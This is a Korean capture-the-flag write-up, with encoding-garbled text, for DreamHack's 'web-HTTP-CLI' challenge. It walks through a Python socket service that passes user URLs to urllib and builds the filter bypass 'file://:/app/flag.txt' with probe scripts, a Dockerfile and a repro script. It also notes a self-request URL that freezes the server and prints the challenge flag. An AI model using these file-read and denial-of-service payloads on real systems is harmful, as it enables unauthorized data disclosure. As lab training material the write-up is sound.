๋ฌธ์ : DreamHack โ web-HTTP-CLI ๋ถ๋ฅ: web ๋์ด๋: ๐ฅ Silver 2 FLAG:
DH{5e2c73de0f2b273731665914bfaff022}
๋ฌธ์ ์ค๋ช
์ ๋ ์ค์ด๋ค. "HTTP-CLI ์๋น์ค ์
๋๋ค. ํ๋๊ทธ๋ฅผ ํ๋ํ์ธ์. ํ๋๊ทธ๋ /app/flag.txt์ ์์ต๋๋ค."
ํ๋๊ทธ ์์น๋ฅผ ๋๋๊ณ ์๋ ค์ค๋ค. ๊ทธ๋ฌ๋๊น ์ด ๋ฌธ์ ๋ "๋ฌด์์ ์ฝ์๊น"๊ฐ ์๋๋ผ "์ด๋ป๊ฒ ๊ทธ ๊ฒฝ๋ก๋ฅผ ์ฝ๊ฒ ๋ง๋ค๊น"๋ค.

์ ๊ณต๋๋ ํ์ผ์ app.py ํ๋, 1,266๋ฐ์ดํธ๋ค. ์น ๋ฌธ์ ์ธ๋ฐ ํ๋ ์์ํฌ๋ ํ
ํ๋ฆฟ๋ ์๋ค.
๋ฌธ์ ๊ฐ์
| ํญ๋ชฉ | ๋ด์ฉ |
|---|---|
| ๋ฌธ์ ๋ช | web-HTTP-CLI |
| ๋์ด๋ | ๐ฅ Silver 2 |
| ๋ถ๋ฅ | web |
| ์คํ | Python 3 ํ์ค ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ง (socket + urllib.request) |
| ์ ๊ณต ํ์ผ | app.py 43์ค (1,266 B) |
| ๊ณต๊ฒฉ ํ๋ฉด | ์์ผ์ผ๋ก ํ ์ค์ฉ ๋ฐ๋ URL ๋ฌธ์์ด |
| ํต์ฌ ์ทจ์ฝ์ | ์คํด ๊ฒ์ฌ ๋ถ์ฌ + netloc ์ธํจํน์ผ๋ก ๋น ํธ์คํธ๋ฅผ ๋ง๋ค์ด file:// ํต๊ณผ |
ํ์ด ํ๋ฆ์ ์ธ ๋ฌธ์ฅ์ด๋ฉด ๋๋๋ค.
์๋น์ค๋ ๋ด๊ฐ ์ค URL ์ urllib.request.urlopen ์ ๊ทธ๋๋ก ๋๊ธด๋ค. ์คํด์ ๊ฒ์ฌํ์ง ์์ผ๋ file:// ์ ๋ฃ์ ์ ์๋ค.
๋ฌธ์ ๋ ๊ทธ ์์ ํธ์คํธ ๊ฒ์ฌ์ธ๋ฐ, ๊ฒ์ฌ ์์ฒด๋ณด๋ค ๊ฒ์ฌ ์ง์ ์ ํํ ์ธํจํน์ด ํจ์ฌ ์ด์ดํ ๊ทธ๋ฌผ์ด๋ค.
๊ทธ ๊ทธ๋ฌผ์ ํต๊ณผํ๋ฉด์ ํธ์คํธ๋ฅผ ๋น ๋ฌธ์์ด๋ก ๋ง๋๋ ํ๊ธฐ๊ฐ ๋ฑ ํ๋ ์๋ค.
๐งฉ ๋ฐฐ๊ฒฝ โ ์ด๊ฑด ์น ์๋ฒ๊ฐ ์๋๋ค
๋ฌธ์ ๋ถ๋ฅ๋ web ์ธ๋ฐ, ์ธ์คํด์ค๋ฅผ ์ผ๊ณ ๋ธ๋ผ์ฐ์ ๋ก ๋ถ์ผ๋ฉด ์๋ฌด๊ฒ๋ ์ ๋์จ๋ค.

ERR_INVALID_HTTP_RESPONSE. ์ฐ๊ฒฐ์ ๋๋๋ฐ ์๋ต์ด HTTP ๊ฐ ์๋๋ค.
(์ ์บก์ณ๋ ๋ผ์ด๋ธ ์ธ์คํด์ค๊ฐ ์๋๋ผ ๋ค์์ ๋ง๋ค ๋ก์ปฌ ์ฌํ ์ปจํ
์ด๋๋ค. ๊ฐ์ app.py ๊ฐ ๋๊ธฐ ๋๋ฌธ์ ์๋ต๋ ๊ฐ๋ค. ๋ผ์ด๋ธ ์ธ์คํด์ค๋ ์บก์ณ ๋์ค ๋ง๋ฃ๋ผ์ ์ ์ ๊ฑฐ๋ถ ํ๋ฉด์ด ๋์ค๋๋ฐ, ๊ทธ๊ฑด "HTTP ๊ฐ ์๋๋ค"์ ์ฆ๊ฑฐ๊ฐ ์๋๋ผ "์๋ฒ๊ฐ ์๋ค"์ ์ฆ๊ฑฐ๋ผ ์ฐ์ง ์์๋ค.)
์ด ์๋น์ค๋ HTTP ๋ฅผ ๋งํ์ง ์๋๋ค. ์ ์ํ๋ฉด ๋ฐฐ๋๋ฅผ ๋์ง๊ณ > ํ๋กฌํํธ๋ฅผ ๋ด๋ ๋ผ์ธ ๊ธฐ๋ฐ TCP ์๋น์ค๋ค. netcat ์ผ๋ก ๋ถ์ด ๋ณด๋ฉด ๋ฐ๋ก ๋ณด์ธ๋ค.
timeout 5 nc host3.dreamhack.games 10979![ํด๋ฆญํ์ฌ ํ๋ netcat ์ผ๋ก ๋ผ์ด๋ธ ์๋น์ค์ ์ ์ํ ํฐ๋ฏธ๋. "[ HTTP-CLI ]" ๋ฐฐ๋์ "Input Example: > https://dreamhack.io:443/" ๊ทธ๋ฆฌ๊ณ ํ๋กฌํํธ๊ฐ ์ฐํ๋ค.](/_next/image?url=%2Fimages%2Fblog%2Fdreamhack-web-http-cli-writeup%2F04_banner_nc.png&w=3840&q=75)
๋ฐฐ๋๊ฐ ์
๋ ฅ ํ์๊น์ง ์๋ ค์ค๋ค. https://dreamhack.io:443/ ์ฒ๋ผ ์คํดยทํธ์คํธยทํฌํธ๊ฐ ๋ค ๋ถ์ URL ์ ํ ์ค ๋ฃ์ผ๋ผ๋ ๊ฒ์ด๋ค.
์ฌ๊ธฐ์ ํ๋ ์ง๊ณ ๋์ด๊ฐ ๊ฒ ์๋ค. ๋ฐฐํฌ๋ app.py ๋ [Input Example] ๊ณผ ์์๋ฅผ ๋ ์ค๋ก ๋๋ ๋ณด๋ด๋๋ฐ, ์ค์ ๋ผ์ด๋ธ ์ธ์คํด์ค๋ [ HTTP-CLI ] ๋ผ๋ ์ ๋ชฉ์ ๋จผ์ ๋ด๊ณ ์์๋ฅผ ํ ์ค๋ก ๋ถ์ฌ ๋ณด๋ธ๋ค. ๋ฐฐํฌ๋ณธ๊ณผ ๋ฐฐํฌ ์๋ฒ๊ฐ ์์ ํ ๊ฐ์ ํ์ผ์ ์๋๋ค. ๋ก์ง์ ๊ฐ์ง๋ง ๋ฌธ๊ตฌ๊ฐ ๋ค๋ฅด๋ค๋ ๊ฒ๋ง ๊ธฐ์ตํ๊ณ ๋์ด๊ฐ๋ฉด ๋๋ค.
๐ฌ ์ฝ๋ ์ ์ฐฐ โ 43์ค
๋ฐฐํฌ๋ณธ ์ ์ฒด๋ฅผ ๊ทธ๋๋ก ๋ณธ๋ค.
cat -n extracted/app.py
ํต์ฌ๋ง ์ฎ๊ธฐ๋ฉด ์ด๋ ๋ค.
def get_host_port(url):
return url.split('://')[1].split('/')[0].lower().split(':')
...
url = cs.recv(1024).decode().strip()
if len(url) == 0:
break
try:
(host, port) = get_host_port(url)
if 'localhost' == host:
cs.sendall('cant use localhost\n'.encode())
continue
if 'dreamhack.io' != host:
if '.' in host:
cs.sendall('cant use .\n'.encode())
continue
cs.sendall('result: '.encode() + urllib.request.urlopen(url).read())
except:
cs.sendall('error\n'.encode())์ธ ๊ฐ์ง๊ฐ ๋์ ๋ค์ด์จ๋ค.
์ฒซ์งธ, ์คํด ํ์ดํธ๋ฆฌ์คํธ๊ฐ ์๋ค. urlopen ์ ๋ค์ด๊ฐ๋ ๊ฑด ๋ด๊ฐ ์ค url ์๋ณธ ๊ทธ๋๋ก๋ค. http/https ๋ง ๋ฐ๊ฒ ๋ค๋ ์ฝ๋๊ฐ ์ด๋์๋ ์๋ค.
๋์งธ, ํธ์คํธ ๊ฒ์ฌ๊ฐ ์ด๋ฆ ๊ธฐ๋ฐ์ด๋ค. dreamhack.io ๋ง ํต๊ณผ์ํค๊ณ , ๊ทธ ๋ฐ์๋ ์ ์ด ๋ค์ด ์์ผ๋ฉด ๊ฑฐ๋ถํ๋ค. IP ๋ฅผ ์ ํ๊ธฐ๋ก ์ฐ๋ ๊ธธ์ ๋งํ ์๋ค๋ ๋ป์ด๋ค.
์
์งธ, except: ๊ฐ ์ ๋ถ๋ฅผ ๊ฐ์ผ๋ค. ํ์ฑ ์คํจ๋ ๋คํธ์ํฌ ์คํจ๋ ํ์ผ ์์์ด๋ ์ ๋ถ error ํ ์ค๋ก ๋ญ๊ฐ์ง๋ค. ์ด๊ฒ ๋์ค์ ์ฝ์ง์ ์์ธ์ด ๋๋ค.
์ฐธ๊ณ ๋ก ์ด๋ฆ์ผ๋ก ํ์ฉ๋๋ ์ ์ผํ ํธ์คํธ๋ ์ค์ ๋ก ์ด์ ์๋ ์ฌ์ดํธ๋ค.

์๋น์ค์ https://dreamhack.io:443/ ์ ๋ฃ์ผ๋ฉด ์ด ํ์ด์ง์ HTML ์ด ๊ทธ๋๋ก ์์ผ์ผ๋ก ๋์์จ๋ค. ์๋๋ ์ ์ ๋์์ด๋ค. ์ฐ๋ฆฌ๊ฐ ์ํ๋ ๊ฑด ์ด๊ฒ ์๋๋ผ /app/flag.txt ์ง๋ง.
app.py ๋ ์์ํ ๋ open('./flag.txt') ๋ก ํ์ผ์ ์ฝ์ด FLAG ๋ณ์์ ๋ด์ ๋๋๋ฐ, ๊ทธ ๋ณ์๋ฅผ ์ด๋์๋ ์ฐ์ง ์๋๋ค. ํ๋๊ทธ๋ฅผ ๊บผ๋ด๋ ๊ฒฝ๋ก๋ ์ค์ง urlopen ๋ฟ์ด๋ค.
๐งฑ ๋ฐฐ๊ฒฝ โ urlopen ์ ์คํด์ ๊ฐ๋ฆฌ์ง ์๋๋ค
urllib.request.urlopen ์ ์ด๋ฆ๊ณผ ๋ฌ๋ฆฌ HTTP ์ ์ฉ ํจ์๊ฐ ์๋๋ค. ๊ณต์ ๋ฌธ์์๋ FTPยทfileยทdata URL ์ ๋ค๋ฃฌ๋ค๊ณ ์ ํ ์๊ณ , ๋ชฉ์ฐจ์๋ FileHandler Objects ์ DataHandler Objects ๊ฐ ๋๋ํ ์๋ค.

์ฆ urlopen('file:///etc/passwd') ๋ ์์ธ๊ฐ ์๋๋ผ ์ ์ ์ฌ์ฉ๋ฒ์ด๋ค. ๊ธฐ๋ณธ opener ์ FileHandler ๊ฐ ์ด๋ฏธ ๋ฑ๋ก๋ผ ์๋ค.
๊ทธ๋ผ file:// ๋ค์ ๋ญ ์ธ ์ ์๋์ง๊ฐ ๋ฌธ์ ์ธ๋ฐ, ์ด๊ฑด RFC 8089 ๊ฐ ์ ํด ๋์๋ค.

์ถ์ฒ: IETF Datatracker, RFC 8089 (M. Kerwin, 2017)
ABNF ๋ฅผ ๋ณด๋ฉด file-auth = "localhost" / host ์ด๊ณ , ๊ทธ ์์ auth-path = [ file-auth ] path-absolute ์์ file-auth ๊ฐ ๋๊ดํธ๋ก ๊ฐ์ผ ์ ํ ํญ๋ชฉ์ด๋ค. ์ฆ authority ์๋ฆฌ๋ฅผ ํต์งธ๋ก ๋น์๋ ๊ท๊ฒฉ์ ๋ง๊ณ , ๋น authority ๋ localhost ์ ๊ฐ์ ์๋ฏธ๋ค. file:///etc/passwd ์ ์ฌ๋์๊ฐ ์ธ ๊ฐ์ธ ์ด์ ๊ฐ ์ด๊ฒ์ด๋ค.
์ฌ๊ธฐ์ ๊ณต๊ฒฉ์ ์ค๊ณฝ์ด ์กํ๋ค. ํํฐ๋ authority ๋ฌธ์์ด์ ์๊ธฐ ๋ฐฉ์์ผ๋ก ์ชผ๊ฐ ํธ์คํธ๋ฅผ ํ๋จํ๊ณ , urllib ์ ๊ฐ์ ๋ฌธ์์ด์ ์๊ธฐ ๋ฐฉ์์ผ๋ก ์ชผ๊ฐ ํธ์คํธ๋ฅผ ํ๋จํ๋ค. ๋ ํด์์ด ์ด๊ธ๋๋ ์ง์ ์ ์ฐพ์ผ๋ฉด ๋๋ค.
๐ ์ฝ์ง โ ์ ๋ค error ์ธ๊ฐ
โถ๐ ์ฝ์ง 1 โ ๊ต๊ณผ์์ ์ธ file:// ์ธ ๊ฐ์ง๊ฐ ์ ๋ถ error ๋ก ์ฃฝ๋๋ค
๊ฐ์ฅ ๋จผ์ ๋ฃ์ด ๋ณผ ๊ฑด ์ ํด์ ธ ์๋ค. file:///app/flag.txt, file://localhost/app/flag.txt, file://127.0.0.1/app/flag.txt.
์
๋ค ์ ๋๋ค. ๊ทธ๋ฐ๋ฐ ๋์์ค๋ ๋ฉ์์ง๊ฐ ์ด์ํ๋ค. cant use localhost ๋ ์๋๊ณ cant use . ๋ ์๋๊ณ ๊ทธ๋ฅ error ๋ค.
ํํฐ ๋ก์ง๋ง ๋ผ์ด๋ด ์คํ๋ผ์ธ์ผ๋ก ํ์ ํด ๋ณด๋ฉด ์ด์ ๊ฐ ๋์จ๋ค.
#!/usr/bin/env python3
"""app.py ์ ํธ์คํธ ํํฐ๋ง ๊ทธ๋๋ก ๋ผ์ด๋ด ํ๋ณด URL ์ ์คํ๋ผ์ธ์ผ๋ก ํ์ ํ๋ค."""
def get_host_port(url): # app.py ์๋ณธ ๊ทธ๋๋ก
return url.split('://')[1].split('/')[0].lower().split(':')
def verdict(url):
try:
(host, port) = get_host_port(url)
except Exception as e:
return "UNPACK-FAIL (%s: %s)" % (type(e).__name__, e)
if 'localhost' == host:
return "BLOCK cant use localhost"
if 'dreamhack.io' != host:
if '.' in host:
return "BLOCK cant use ."
return "PASS host=%r port=%r" % (host, port)
CASES = [
"https://dreamhack.io:443/",
"file:///app/flag.txt",
"file://localhost/app/flag.txt",
"file://127.0.0.1/app/flag.txt",
"file://:/app/flag.txt",
"file://:1/app/flag.txt",
"file://a:1/app/flag.txt",
]
for u in CASES:
print("%-32s -> %s" % (u, verdict(u)))
ValueError: not enough values to unpack (expected 2, got 1).
ํธ์คํธ ๊ฒ์ฌ์ ๋๋ฌํ์ง๋ ๋ชปํ ๊ฒ์ด๋ค. file:///app/flag.txt ์ netloc ์ ๋น ๋ฌธ์์ด์ด๊ณ , ''.split(':') ์ [''] ์ด๋ผ ์์๊ฐ ํ๋๋ค. (host, port) ๋ก ๋ฐ์ ์๊ฐ ์๋ค. file://localhost/... ๋ ๋ง์ฐฌ๊ฐ์ง๋ก ['localhost'] ํ ๊ฐ, file://127.0.0.1/... ๋ ['127.0.0.1'] ํ ๊ฐ.
localhost ๋ฅผ ๋ง๋ ์ฝ๋๋, ์ ์ ๋ง๋ ์ฝ๋๋ ํ ๋ฒ๋ ์คํ๋์ง ์์๋ค. ์ ๋ถ ๊ทธ ์์์ ์ฃฝ์๋ค.
์ค์ ์๋น์ค์ ๋ฌผ์ด๋ด๋ ๊ฐ์ ๋ต์ด ์จ๋ค. ํ ์ฐ๊ฒฐ ์์์ ์ฌ์ฏ ๊ฐ๋ฅผ ์์๋๋ก ๋ฐ์ด ๋ฃ๋ ํ์นจ์ ๋ง๋ค์๋ค.
#!/usr/bin/env python3
"""ํํฐ๊ฐ ์ด๋ค URL ์ ์ด๋ป๊ฒ ๋ง๋์ง ์ค์ ์๋ฒ์ ๋ฌผ์ด๋ณด๋ ํ์นจ."""
import socket
import sys
CASES = [
("https://dreamhack.io:443/", "์ ์ ์์ โ ํ์ดํธ๋ฆฌ์คํธ ํธ์คํธ"),
("http://localhost:8000/", "localhost ๋ช
์"),
("http://127.0.0.1:8000/", "๋ฃจํ๋ฐฑ IP"),
("file:///app/flag.txt", "๊ต๊ณผ์์ ์ธ file:// 3์ฌ๋์"),
("file://localhost/app/flag.txt", "file:// + localhost"),
("file://:/app/flag.txt", "โ
netloc ์ ์ฝ๋ก ํ๋๋ก"),
]
def recv_until_prompt(sock, timeout=6.0):
sock.settimeout(timeout)
buf = b""
while True:
try:
chunk = sock.recv(4096)
except socket.timeout:
break
if not chunk:
break
buf += chunk
if buf.endswith(b"> "):
break
return buf.decode(errors="replace")
def main():
host, port = sys.argv[1], int(sys.argv[2])
with socket.create_connection((host, port), timeout=10) as s:
recv_until_prompt(s) # ๋ฐฐ๋ + ์ฒซ ํ๋กฌํํธ ๋ฒ๋ฆฌ๊ธฐ
for url, why in CASES:
s.sendall((url + "\n").encode())
resp = recv_until_prompt(s)
body = resp.rsplit("> ", 1)[0].strip()
if len(body) > 120:
body = body[:120] + " ...(์๋ต)"
print("%-32s %-26s => %s" % (url, "[" + why + "]", body or "(๋ฌด์๋ต)"))
s.sendall(b"\n")
if __name__ == "__main__":
main()
http://localhost:8000/ ์ cant use localhost, http://127.0.0.1:8000/ ์ cant use . ๋ก ์ฐจ๋จ ๋ฉ์์ง๊ฐ ์ ๋๋ก ๋์จ๋ค. ์ฝ๋ก ์ด ํ๋์ฉ ์์ด์ ์ธํจํน์ ํต๊ณผํ๊ธฐ ๋๋ฌธ์ด๋ค.
๋ฐ๋ฉด file:// ์ธ ์ฌ๋์ ๊ณ์ด์ ์ ๋ถ error. ๊ฐ์ ๋ฉ์์ง์ง๋ง ์์ธ์ด ์์ ํ ๋ค๋ฅด๋ค. except: ๊ฐ ๋ญ๊ฐ ํ์ ๊ฒ์ผ๋ก๋ ๊ตฌ๋ถ์ด ์ ๋๋ค.
์ฌ๊ธฐ์ ๋ฐฉํฅ์ด ์กํ๋ค. ๋งํ ๊ฑด file:// ์คํด์ด ์๋๋ผ ์ฝ๋ก ๊ฐ์๋ค.
โถ๐ ์ฝ์ง 2 โ ์ฝ๋ก ๋ง ๋ง์ถ๋ฉด ์๋ฌด ํธ์คํธ๋ ๋๋ ๊ฑด ์๋๋ค
์ฝ๋ก ์ด ํ๋๋ฉด ์ธํจํน์ ํต๊ณผํ๋ค. ๊ทธ๋ฌ๋ฉด ์ ์๋ ํธ์คํธ ์๋ฌด๊ฑฐ๋ ๋ถ์ฌ๋ ๋๋ ๊ฒ ์๋๊ฐ? file://a:1/app/flag.txt ๋ host='a', port='1' ๋ก ํํฐ๋ฅผ ๋ฉ์ฉกํ ํต๊ณผํ๋ค.
ํต๊ณผํ๋๋ฐ, ํ์ผ์ด ์ ์ด๋ฆฐ๋ค. ํํฐ๋ฅผ ์ง๋๋ urllib ์ด ๊ฑฐ๋ถํ๋ค. ๊ทธ ๊ฒฝ๊ณ๋ฅผ ํ์ธํ๋ ค๊ณ ๋ ๋ฒ์งธ ํ์นจ์ ๋ง๋ค์๋ค.
#!/usr/bin/env python3
"""ํํฐ(โ โก)๋ ํต๊ณผํ์ง๋ง urllib(โข)์์ ๊ฐ๋ฆฌ๋ netloc ๋ค์ ์ค์ ๋ก ๋ฌผ์ด๋ณธ๋ค."""
import socket
import sys
CASES = [
("file://:/app/flag.txt", "๋น ํธ์คํธ + ๋น ํฌํธ"),
("file://:1/app/flag.txt", "๋น ํธ์คํธ + ํฌํธ 1"),
("file://a:1/app/flag.txt", "ํธ์คํธ 'a' (์ ์์) + ํฌํธ 1"),
("file://0:/app/flag.txt", "ํธ์คํธ '0' (์ ์์)"),
("http://0:8000/", "์๊ธฐ ์์ ์๊ฒ HTTP ๋ก SSRF"),
]
def recv_until_prompt(sock, timeout=8.0):
sock.settimeout(timeout)
buf = b""
while True:
try:
chunk = sock.recv(4096)
except socket.timeout:
break
if not chunk:
break
buf += chunk
if buf.endswith(b"> "):
break
return buf.decode(errors="replace")
def main():
host, port = sys.argv[1], int(sys.argv[2])
with socket.create_connection((host, port), timeout=10) as s:
recv_until_prompt(s)
for url, why in CASES:
s.sendall((url + "\n").encode())
body = recv_until_prompt(s).rsplit("> ", 1)[0].strip()
if len(body) > 90:
body = body[:90] + " ...(์๋ต)"
print("%-26s %-30s => %s" % (url, "[" + why + "]", body or "(๋ฌด์๋ต)"))
s.sendall(b"\n")
if __name__ == "__main__":
main()
๋น ํธ์คํธ๋ง ํ์ผ์ ์ฐ๋ค. a ๋ 0 ๋ ์ ๋๋ค. urllib ์ ํธ์คํธ๊ฐ ๋น์ด ์์ง ์์ผ๋ฉด ๊ทธ ์ด๋ฆ์ ์ค์ ๋ก ํด์ํด์ ์ด ๋จธ์ ์ ์ด๋ฆ ๋ชฉ๋ก์ ์๋์ง ํ์ธํ๊ณ , ์๋๋ฉด URLError('file not on local host') ๋ฅผ ๋์ง๋ค. ํฌํธ๋ฅผ ๋ถ์ด๋ฉด ๊ทธ ํ์ธ๋ง์ ๊ฑด๋๋ฐ๊ณ ๋ฐ๋ก ์คํจํ๋ค.
๋ง์ง๋ง ์ค๋ ๋ณผ ๋งํ๋ค. http://0:8000/ ์ ์๋น์ค๊ฐ ์๊ธฐ ์์ ์๊ฒ HTTP ์์ฒญ์ ๋ณด๋ด๊ฒ ํ๋ ์๋์ธ๋ฐ, ์๋ต์ด ์์ ์๋ค. ์ด ์๋ฒ๋ ์ฑ๊ธ ์ค๋ ๋๋ก accept() ๋ฅผ ๋๋ ๊ตฌ์กฐ๋ผ, ์ง๊ธ ๋ด ์ฐ๊ฒฐ์ ์ฒ๋ฆฌํ๋ ๋์์๋ ์ ์ฐ๊ฒฐ์ ๋ฐ์ง ๋ชปํ๋ค. ๊ทธ๋ฐ๋ฐ urlopen ์ ํ์์์ ์์ด ์๋ต์ ๊ธฐ๋ค๋ฆฐ๋ค. ์๋ก๋ฅผ ๊ธฐ๋ค๋ฆฌ๋ฉฐ ๊ตณ๋๋ค.
ํ ๋ฒ ์ด๊ฑธ ๋ฃ์ผ๋ฉด ๊ทธ ์ธ์คํด์ค๋ ๊ทธ๋๋ก ๋ฉ๋๋ค. ๋ก์ปฌ ์ปจํ ์ด๋๋ก ํ์ธํด์ ๋คํ์ด์์ง, ๋ผ์ด๋ธ ์ธ์คํด์ค์ ๋ฃ์์ผ๋ฉด VM ํฌ๋ ๋ง ํ๋๋ฅผ ๊ทธ๋ฅ ๋ ๋ฆด ๋ปํ๋ค.
๐ฃ ํต์ฌ โ netloc ์ ์ฝ๋ก ํ๋๋ก
์ด์ ์กฐ๊ฑด์ด ์ ๋ฆฌ๋๋ค. ํ์ํ URL ์ ๋ค์ ์ ์ ๋์์ ๋ง์กฑํด์ผ ํ๋ค.
- netloc ์์ ์ฝ๋ก ์ด ์ ํํ ํ๋ โ ๊ทธ๋์ผ
(host, port)์ธํจํน์ด ์ฑ๋ฆฝํ๋ค - ์ฝ๋ก ์์ ํธ์คํธ๊ฐ
localhost๊ฐ ์๋๊ณ ์ ์ ํฌํจํ์ง ์์ ๊ฒ - urllib ์ ์ฅ์์๋ ๊ทธ authority ๊ฐ ๋ก์ปฌ๋ก ์ฝํ ๊ฒ
์ธ ์กฐ๊ฑด์ ํ๊บผ๋ฒ์ ๋ง์กฑ์ํค๋ ๊ฒ ๋น ํธ์คํธ๋ค. netloc ์ : ํ ๊ธ์๋ก ๋๋ฉด ๋๋ค.
file://:/app/flag.txt'://' ๋ก ์๋ฅธ ๋ค ์ฒซ ์ฌ๋์๊น์ง๊ฐ netloc ์ด๋ฏ๋ก netloc ์ ':' ์ด๊ณ , ':'.split(':') ์ ['', ''] โ ์์ ๋ ๊ฐ๋ค. ์ธํจํน ํต๊ณผ. host ๋ ๋น ๋ฌธ์์ด์ด๋ผ localhost ๋ ์๋๊ณ ์ ๋ ์๋ค. ๊ฒ์ฌ ํต๊ณผ.

๋จ์ ๊ฑด ์ธ ๋ฒ์งธ ์กฐ๊ฑด, urllib ์ด ์ด authority ๋ฅผ ์ด๋ป๊ฒ ์ฝ๋๋๋ค. ์ด๊ฑด ์ถ์ธกํ ํ์ ์์ด ํ์ค ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ์ง์ ๋ฌผ์ด๋ณด๋ฉด ๋๋ค.
#!/usr/bin/env python3
"""urllib ์ด 'file://:' ๋ฅผ ์ ๋ก์ปฌ ํ์ผ๋ก ๋ฐ์ ์ฃผ๋์ง ํ์ค ๋ผ์ด๋ธ๋ฌ๋ฆฌ์์ ์ง์ ํ์ธํ๋ค."""
import inspect
import os
import tempfile
import urllib.request
from urllib.request import _splitport, Request
URL = "file://:/etc/hostname"
req = Request(URL)
print("[1] Request(%r)" % URL)
print(" req.type =", repr(req.type))
print(" req.host =", repr(req.host))
print(" req.selector =", repr(req.selector))
print("\n[2] _splitport(req.host) ->", repr(_splitport(req.host)))
print(" ํธ์คํธ๊ฐ ๋น ๋ฌธ์์ด๋ก ๋จ์ด์ง๋ค = urllib ์ด '๋ก์ปฌ'๋ก ํ์ ํ๋ ์กฐ๊ฑด")
print("\n[3] FileHandler.open_local_file ์ ํ์ ๋ถ๋ถ")
src = inspect.getsource(urllib.request.FileHandler.open_local_file).splitlines()
for line in src:
if any(k in line for k in ("_splitport", "if not host", "origurl", "addinfourl", "URLError('file")):
print(" ", line.strip())
print("\n[4] ์ค์ ๋ก ์ด๋ฆฌ๋๊ฐ")
fd, path = tempfile.mkstemp(prefix="urllib_probe_")
os.write(fd, b"local-file-read-ok\n")
os.close(fd)
try:
body = urllib.request.urlopen("file://:" + path).read()
print(" urlopen('file://:%s').read() = %r" % (path, body))
finally:
os.unlink(path)
๋ค ๋จ๊ณ๊ฐ ๊ทธ๋๋ก ์ด์ด์ง๋ค.
Request('file://:/etc/hostname') ์ ๋ง๋ค๋ฉด req.host ๋ ':', req.selector ๋ '/etc/hostname' ์ด๋ค. ์ฌ๊ธฐ์ ์ด๋ฏธ ๊ฒฝ๋ก๊ฐ authority ์ ๋ถ๋ฆฌ๋ผ ์๋ค.
๊ทธ๋ค์ _splitport(':') ์ด ('', None) ์ ๋๋ ค์ค๋ค. ์ด ํจ์๋ (.*):([0-9]*) ๋ก ๋งค์นญํ๋๋ฐ, ':' ์ ์์ด ๋น ๋ฌธ์์ด์ด๊ณ ๋ค๋ ๋น ๋ฌธ์์ด์ด๋ผ ํฌํธ๊ฐ ์๋ ๊ฒ์ผ๋ก ๋ณด๊ณ ํธ์คํธ๋ง ๋น ๋ฌธ์์ด๋ก ์๋ผ ๋๋ ค์ค๋ค.
๊ทธ๋ฆฌ๊ณ open_local_file ์์ ํ์ ์ด if not host: ๋ค. ๋น ๋ฌธ์์ด์ ๊ฑฐ์ง์ด๋ฏ๋ก ์ด ๊ฐ์ง๋ฅผ ํ๊ณ open(localfile, 'rb') ๋ก ์งํํ๋ค. ์๊ฒฉ ํธ์คํธ์ธ์ง ํ์ธํ๋ _safe_gethostbyname ๋, URLError('file not on local host') ๋ ์ง๋์น์ง ์๋๋ค.
๋ง์ง๋ง ์ค์ด ๊ฒฐ๋ก ์ด๋ค. ์์ ํ์ผ์ ๋ง๋ค์ด file://: ๋ฅผ ์์ ๋ถ์ฌ ์ด์๋๋ ๋ด์ฉ์ด ๊ทธ๋๋ก ๋์๋ค.
์ ๋ฆฌํ๋ฉด ์ด๋ ๋ค. ํํฐ๊ฐ ๋ณด๋ host ์ urllib ์ด ๋ณด๋ host ๋ ๊ฐ์ ๋ฌธ์์ด์์ ์๋ก ๋ค๋ฅธ ๊ฐ์ ๋ฝ๋๋ค. ํํฐ๋ ':' ๋ฅผ ['', ''] ๋ก ์ชผ๊ฐ "ํธ์คํธ๋ ๋น ๋ฌธ์์ด, ํฌํธ๋ ๋น ๋ฌธ์์ด"์ด๋ผ๊ณ ์ฝ๊ณ , urllib ์ ':' ๋ฅผ "ํฌํธ ์๋ ๋น ํธ์คํธ"๋ผ๊ณ ์ฝ๋๋ค. ๊ฒฐ๋ก ์ด ์ฐ์ฐํ ๊ฐ์ ๋ณด์ด์ง๋ง, ํ์ชฝ์ ๊ทธ๊ฑธ "์์ ํ ํธ์คํธ"๋ก, ๋ค๋ฅธ ์ชฝ์ "๋ก์ปฌ"๋ก ํด์ํ๋ค. ๊ทธ ํ์ด ์ด ๋ฌธ์ ์ ์ ๋ถ๋ค.
๐ฏ ๋ก์ปฌ ๊ฒ์ฆ โ ์๋ฒ๋ฅผ ์ผ๊ธฐ ์ ์
๋ผ์ด๋ธ ์ธ์คํด์ค์ ๋ถ์ด์ ํ๋์ฉ ์ฐ๋ฌ ๋ณด๊ณ ์ถ์ ์ ํน์ด ์์ง๋ง, ์์ ์ฝ์ง 2 ์์ ๋ดค๋ฏ ์๋ชป ๋ฃ์ผ๋ฉด ์ธ์คํด์ค๊ฐ ๋ฉ๋๋ค. ๋ฐฐํฌ๋ณธ์ด app.py ํ๋๋ฟ์ด๋ผ ๋ก์ปฌ์ ๊ทธ๋๋ก ์ธ์ฐ๋ ๊ฒ ํจ์ฌ ๋น ๋ฅด๋ค.
Dockerfile ์ ์ธ ์ค์ด๋ฉด ๋๋ค. ํ๋๊ทธ ๊ฒฝ๋ก๊ฐ /app/flag.txt ๋ผ๋ ๊ฒ๋ง ๋ง์ถฐ ์ค๋ค.
FROM python:3.8-slim
WORKDIR /app
COPY app.py /app/app.py
COPY flag.txt /app/flag.txt
EXPOSE 8000
CMD ["python3", "/app/app.py"]๋น๋ยท๊ธฐ๋ยท๊ฒ์ฆ์ ํ ๋ฒ์ ๋๋ ์คํฌ๋ฆฝํธ๋ฅผ ๋ง๋ค์ด ๋๋ค.
#!/usr/bin/env bash
# web-HTTP-CLI ๋ก์ปฌ ์ฌํ โ ๋ฐฐํฌ๋ app.py ๋ฅผ ๊ทธ๋๋ก ์ปจํ
์ด๋์ ์ฌ๋ฆฌ๊ณ ๋๋ฏธ flag ๋ก ์ต์ค๋ฅผ ๊ฒ์ฆํ๋ค.
# ๋ฌธ์ ์๋ฒ(VM)๋ฅผ ์ผ๊ธฐ ์ ์ ์ฌ๊ธฐ์ ํ์ด๋ก๋๋ฅผ ํ์ ํ๋ค.
set -eu
cd "$(dirname "$(readlink -f "$0")")"
PORT="${PORT:-18777}"
# local/ ์ extracted/app.py + ๋๋ฏธ flag.txt + Dockerfile ์ธ ๊ฐ๋ฟ์ด๋ค
cp -f extracted/app.py local/app.py
printf 'DH{dummy_local_flag_for_repro}\n' > local/flag.txt
docker build -q -t webhttpcli-local ./local
docker rm -f webhttpcli-local >/dev/null 2>&1 || true
